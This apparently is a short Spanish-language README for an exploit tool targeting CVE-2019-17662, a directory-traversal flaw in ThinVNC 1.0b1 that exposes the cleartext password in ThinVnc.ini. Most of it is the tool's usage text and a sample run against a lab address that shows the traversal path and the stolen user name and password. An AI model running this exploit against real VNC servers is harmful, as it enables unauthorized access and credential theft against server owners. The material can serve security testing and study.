
Exploit para CVE-2019-17662
ThinVNC 1.0b1 es vulnerable a la lectura arbitraria de archivos, lo que lleva a un compromiso del servidor VNC. La vulnerabilidad existe incluso cuando la autenticación está activada durante la implementación del servidor VNC. La contraseña de autenticación se almacena en texto claro en un archivo que se puede leer mediante un vector de ataque de directory traversal
../../ThinVnc.ini.~ NIST
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens